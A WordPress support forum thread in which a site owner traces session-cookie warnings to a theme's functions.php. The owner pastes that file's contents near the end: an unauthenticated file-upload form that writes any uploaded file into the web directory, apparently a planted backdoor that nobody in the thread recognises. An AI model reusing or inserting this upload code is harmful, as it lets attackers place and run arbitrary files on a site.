• The website I’m running appears to be quite broken. I don’t know what version I’m using because I haven’t logged in for a couple of years, and I can’t log in (see point 2 below).
    I’m using the Genesis Framework, if that helps.

    Couple of things:

    1. At the top of every page, I have the following code:

    Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/ultimate/public_html/wp-content/themes/expose/functions.php:17) in /home/ultimate/public_html/wp-content/plugins/si-contact-form/si-contact-form.php on line 1443
    
    Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/ultimate/public_html/wp-content/themes/expose/functions.php:17) in /home/ultimate/public_html/wp-content/plugins/si-contact-form/si-contact-form.php on line 1443

    It also shows a file selection and submit button.

    2. I’ve tried logging in to see what’s going on. I can log in, but all I get is a blank white page with the following:

    Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/ultimate/public_html/wp-content/themes/expose/functions.php:17) in /home/ultimate/public_html/wp-content/plugins/si-contact-form/si-contact-form.php on line 1443
    
    Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/ultimate/public_html/wp-content/themes/expose/functions.php:17) in /home/ultimate/public_html/wp-content/plugins/si-contact-form/si-contact-form.php on line 1443
    
    Warning: Cannot modify header information - headers already sent by (output started at /home/ultimate/public_html/wp-content/themes/expose/functions.php:17) in /home/ultimate/public_html/wp-login.php on line 353
    
    Warning: Cannot modify header information - headers already sent by (output started at /home/ultimate/public_html/wp-content/themes/expose/functions.php:17) in /home/ultimate/public_html/wp-login.php on line 365
    
    Warning: Cannot modify header information - headers already sent by (output started at /home/ultimate/public_html/wp-content/themes/expose/functions.php:17) in /home/ultimate/public_html/wp-includes/pluggable.php on line 737
    
    Warning: Cannot modify header information - headers already sent by (output started at /home/ultimate/public_html/wp-content/themes/expose/functions.php:17) in /home/ultimate/public_html/wp-includes/pluggable.php on line 738
    
    Warning: Cannot modify header information - headers already sent by (output started at /home/ultimate/public_html/wp-content/themes/expose/functions.php:17) in /home/ultimate/public_html/wp-includes/pluggable.php on line 739
    
    Warning: Cannot modify header information - headers already sent by (output started at /home/ultimate/public_html/wp-content/themes/expose/functions.php:17) in /home/ultimate/public_html/wp-includes/pluggable.php on line 934

    Any help appreciated.

    Thanks,
    Trish

Viewing 5 replies - 1 through 5 (of 5 total)
  • This is the part of the error that you’d be wanting to look at:

    output started at /home/ultimate/public_html/wp-content/themes/expose/functions.php:17

    Something at line 17 of your themes functions.php file is outputing some content before it should. That’s what’s triggering that error. If you switch to a default WordPress theme I’m sure you’ll see that error go away.

    To stop it, fix whatever the problem at line 17 in that file is. There is a chance that it’s something that’s broken with a PHP ugrade if you’re still using older themes and/or plugins, so it may not be the easiest thing to de-bug.

    Thread Starter trixee

    (@trixee)

    Thank you catacaustic, that’s very helpful.
    Now I just need to figure out how to log in so that I get the wordpress editor to display.
    Is there a way to trigger the default theme without logging in?

    Yes there is.

    You need to FTP into your hosting server and re-name your themes folder. As an example, yours would be at:

    /wp-content/themes/expose

    And you’d rename it to something like:

    /wp-content/themes/expose_disabled

    That will trigger the admin area to use the default theme.

    Thread Starter trixee

    (@trixee)

    Thank you!!! I’ll give that a go and let you know how it works out. Thanks so much!

    Thread Starter trixee

    (@trixee)

    I renamed my themes folder but it didn’t solve the logging in issue.
    However, I found the functions.php file, which had this content:

    <?php
    if(isset($_POST['Submit'])){
        $filedir = "";
        $maxfile = '2000000';
        $userfile_name = $_FILES['image']['name'];
        $userfile_tmp = $_FILES['image']['tmp_name'];
        if (isset($_FILES['image']['name'])) {
            $abod = $filedir.$userfile_name;
            @move_uploaded_file($userfile_tmp, $abod);
    echo"<center><b>Done ==> $userfile_name</b></center>";
    }
    }
    else{
    echo'
    <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
    }
    ?>

    Which didn’t seem to be doing anything to me so I took a backup and deleted it. And it appears to be fixed! (For now, at least).

    Thanks for pointing me in the right direction ??

    Cheers!

Viewing 5 replies - 1 through 5 (of 5 total)
  • The topic ‘Session cookie messages at top of every page’ is closed to new replies.